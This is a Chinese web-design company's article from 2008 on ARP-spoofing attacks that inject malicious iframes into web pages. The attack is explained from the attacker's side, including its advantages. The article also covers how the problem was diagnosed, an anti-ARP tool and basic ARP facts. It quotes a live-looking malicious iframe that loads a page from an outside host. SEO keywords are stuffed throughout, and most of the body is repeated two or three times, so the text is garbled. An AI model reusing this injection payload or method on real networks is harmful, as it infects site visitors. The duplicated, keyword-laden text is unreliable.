相关文章
北京网站设计站长的基本网络安全常识
企通互联聪明能干的人，是否应该去创业？
北京网站制作陈聪凌:收费是可耻的!
网页设计行业网站各种活动的策划浅析
网站制作新手建站-----我们差的只是信心
北京网站设计网络广告时代,你是否已经开始选择了软文?
北京网站建设网页设计的艺术处理原则
网页设计如何做好小企业网站运营维护
北京网站设计Audience：从访问量到注册用户到伙伴
网站建设说一下我对亿告和阿里妈妈的感觉
品牌理念
北京网站建设最佳合作伙伴
北京网站建设专家企通互联
竭诚为您提供网站建设服务!
友好连接
文章搜索
你的位置：首页 >> 网站建设 >> 北京网页设计北京网站制作很多网站被挂马确找不到代码，arp挂马原理剖析
北京网页设计北京网站制作很多网站被挂马确找不到代码，arp挂马原理剖析
作者： 北京网站建设 日期：2008-03-27 06:04:50 来源： http://www.qitongnet.com
不管是访问服务器上的任何网页，就连404的页面也会在<html>后加入： 企通互联
<IFRAME SRC=http://cool.47555.com/k.htm width =1 height=1 frameborder=0></IFRAME>;,挂马的位置在html标记左右,上面这段恶意代码，它会 每隔几秒加入代码，也就是说在输出具体的东西之前就被挂了，有时有有时又没有，不是网页源代码问题，也没有在网页源代码中加入恶意代码，即使重装服务器， 格式化重分区过第一个硬盘，放上去网站没多久一样再会出现这种情况. 北京网站设计
网站设计
首先就排除了网站被入侵的可能,因为首页能加在那个位置只能是 title的地方,用js控制也不大可能.然后去看了php.ini的设置也没有任何的异常,而且这个插入的代码有的时候出现有的时候不出现,说明不是网 站的问题了.打开同服务器的其他网站也有这个情况发生,而且状况一一样.检查并且搜索挂马的关键字之后确定不是网站程序的问题. 网页设计
网页设计
北京网站建设那么 剩下的要么是IIS自己出了问题,要么是网络的问题,因为数据是处理没有问题(这个由程序输出,而且即使是html都会出问题),经过一个一个排查,最后 基本可以确定就是arp欺骗欺骗数据报走向,然后中间人修改一些定义的关键字.因为是网络层次有问题(所以重做系统是没有用的). 网站建设
企通互联
目的：通过arp欺骗来直接挂马 网站建设
网站建设
优点: 北京网站制作可以直接通过arp欺骗来挂马. 企通互联
通常的arp欺骗的攻击方式是在同一vlan下,控制一台主机来监听密码,或者结合ssh中间人攻击来监听ssh1的密码 北京网站设计北京网页设计
但这样存在局限性:1.管理员经常不登陆,那么要很久才能监听到密码 北京网站制作
2.目标主机只开放了80端口,和一个管理端口,且80上只有静态页面,那么很难利用.而管理端口,如果是3389终端,或者是ssh2,那么非常难监听到密码. 北京网页设计
网站设计
优点:1.可以不用获得目标主机的权限就可以直接在上面挂马 北京网站制作
2.非常隐蔽,不改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入挂马的语句. 网站建设
3.可以最大化的利用arp欺骗,从而只要获取一台同一vlan下主机的控制权,就可以最大化战果. 企通互联
网站建设
原理：arp中间人攻击，实际上相当于做了一次代理。 北京网站设计
北京网站设计
正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机 北京网页设计
arp中间人攻击时候: A---->C---->B 北京网页设计
B---->C---->A 网站设计
实际上,C在这里做了一次代理的作用 北京网站设计
北京网站设计
那 么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 <iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是 正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了. 企通互联
北京网站建设 北京网页设计
下载的Anti ARP Sniffer V3.6 免费版 网页设计
*Anti ARP Sniffer V3.6是一款免费的软件,适合于个人用来监测是否存在 网站制作ARP欺骗,即使整个局域网部署Anti ARP Sniffer 也不能彻底解决ARP攻击问题,请使用彩影网盾保护整个网络。 网站设计 北京网站设计
能查出此服务器区中，另一台有问题的MAC地址，告诉了网管，后来网管把这台服务器网线给剪了。 企通互联
北京网站设计
什么是ARP？ 北京网站建设
企通互联
英文原义：Address Resolution Protocol 北京网站设计
中文释义：（RFC-826）地址解析协议 网页设计
北京网站建设
局域网中，网络中实际传输的是“帧”，帧里面是有目标主机的MAC地址的。所谓 网页设计“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址，查询目标设备的MAC地址以保证通信的顺利进行。 网站设计
北京网站设计
企通互联注 解：简单地说，ARP协议主要负责将局域网中的32为IP地址转换为对应的48位物理地址，即网卡的MAC地址，比如IP地址为192.168.0.1网 卡MAC地址为00-03-0F-FD-1D-2B。整个转换过程是一台主机先向目标主机发送包含IP地址信息的广播数据包，即ARP请求，然后目标主机 向该主机发送一个含有IP地址和MAC地址数据包，通过MAC地址两个主机就可以实现数据传输了。 网页设计
网页设计
应用：在安装了以太网网络适配器 的计算机中都有专门的ARP缓存，包含一个或多个表，用于保存IP地址以及经过解析的MAC地址。在Windows中要查看或者修改ARP缓存中的信息， 可以使用arp命令来完成，比如在Windows XP的命令提示符窗口中键入“arp -a”或“arp -g”可以查看ARP缓存中的内容；键入 “arp -d IPaddress”表示删除指定的IP地址项（IPaddress表示IP地址）。arp命令的其他用法可以键入“arp /?”查看 到。 企通互联
网页设计
正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机 北京网站制作
arp中间人攻击时候: A---->C---->B 网站建设
B---->C---->A 北京网站建设
实际上,C在这里做了一次代理的作用 网站建设
网站设计
那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 <iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了.
北京网站设计
<IFRAME SRC=http://cool.47555.com/k.htm width =1 height=1 frameborder=0></IFRAME>;,挂马的位置在html标记左右,上面这段恶意代码，它会 每隔几秒加入代码，也就是说在输出具体的东西之前就被挂了，有时有有时又没有，不是网页源代码问题，也没有在网页源代码中加入恶意代码，即使重装服务器， 格式化重分区过第一个硬盘，放上去网站没多久一样再会出现这种情况. 北京网站设计
网站设计
首先就排除了网站被入侵的可能,因为首页能加在那个位置只能是 title的地方,用js控制也不大可能.然后去看了php.ini的设置也没有任何的异常,而且这个插入的代码有的时候出现有的时候不出现,说明不是网 站的问题了.打开同服务器的其他网站也有这个情况发生,而且状况一一样.检查并且搜索挂马的关键字之后确定不是网站程序的问题. 网页设计
网页设计
北京网站建设那么 剩下的要么是IIS自己出了问题,要么是网络的问题,因为数据是处理没有问题(这个由程序输出,而且即使是html都会出问题),经过一个一个排查,最后 基本可以确定就是arp欺骗欺骗数据报走向,然后中间人修改一些定义的关键字.因为是网络层次有问题(所以重做系统是没有用的). 网站建设
企通互联
目的：通过arp欺骗来直接挂马 网站建设
网站建设
优点: 北京网站制作可以直接通过arp欺骗来挂马. 企通互联
通常的arp欺骗的攻击方式是在同一vlan下,控制一台主机来监听密码,或者结合ssh中间人攻击来监听ssh1的密码 北京网站设计北京网页设计
但这样存在局限性:1.管理员经常不登陆,那么要很久才能监听到密码 北京网站制作
2.目标主机只开放了80端口,和一个管理端口,且80上只有静态页面,那么很难利用.而管理端口,如果是3389终端,或者是ssh2,那么非常难监听到密码. 北京网页设计
网站设计
优点:1.可以不用获得目标主机的权限就可以直接在上面挂马 北京网站制作
2.非常隐蔽,不改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入挂马的语句. 网站建设
3.可以最大化的利用arp欺骗,从而只要获取一台同一vlan下主机的控制权,就可以最大化战果. 企通互联
网站建设
原理：arp中间人攻击，实际上相当于做了一次代理。 北京网站设计
北京网站设计
正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机 北京网页设计
arp中间人攻击时候: A---->C---->B 北京网页设计
B---->C---->A 网站设计
实际上,C在这里做了一次代理的作用 北京网站设计
北京网站设计
那 么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 <iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是 正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了. 企通互联
北京网站建设 北京网页设计
下载的Anti ARP Sniffer V3.6 免费版 网页设计
*Anti ARP Sniffer V3.6是一款免费的软件,适合于个人用来监测是否存在 网站制作ARP欺骗,即使整个局域网部署Anti ARP Sniffer 也不能彻底解决ARP攻击问题,请使用彩影网盾保护整个网络。 网站设计 北京网站设计
能查出此服务器区中，另一台有问题的MAC地址，告诉了网管，后来网管把这台服务器网线给剪了。 企通互联
北京网站设计
什么是ARP？ 北京网站建设
企通互联
英文原义：Address Resolution Protocol 北京网站设计
中文释义：（RFC-826）地址解析协议 网页设计
北京网站建设
局域网中，网络中实际传输的是“帧”，帧里面是有目标主机的MAC地址的。所谓 网页设计“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址，查询目标设备的MAC地址以保证通信的顺利进行。 网站设计
北京网站设计
企通互联注 解：简单地说，ARP协议主要负责将局域网中的32为IP地址转换为对应的48位物理地址，即网卡的MAC地址，比如IP地址为192.168.0.1网 卡MAC地址为00-03-0F-FD-1D-2B。整个转换过程是一台主机先向目标主机发送包含IP地址信息的广播数据包，即ARP请求，然后目标主机 向该主机发送一个含有IP地址和MAC地址数据包，通过MAC地址两个主机就可以实现数据传输了。 网页设计
网页设计
应用：在安装了以太网网络适配器 的计算机中都有专门的ARP缓存，包含一个或多个表，用于保存IP地址以及经过解析的MAC地址。在Windows中要查看或者修改ARP缓存中的信息， 可以使用arp命令来完成，比如在Windows XP的命令提示符窗口中键入“arp -a”或“arp -g”可以查看ARP缓存中的内容；键入 “arp -d IPaddress”表示删除指定的IP地址项（IPaddress表示IP地址）。arp命令的其他用法可以键入“arp /?”查看 到。 企通互联
网页设计
正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机 北京网站制作
arp中间人攻击时候: A---->C---->B 网站建设
B---->C---->A 北京网站建设
实际上,C在这里做了一次代理的作用 网站建设
网站设计
那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 <iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了.
责任编辑:图王 QQ:470666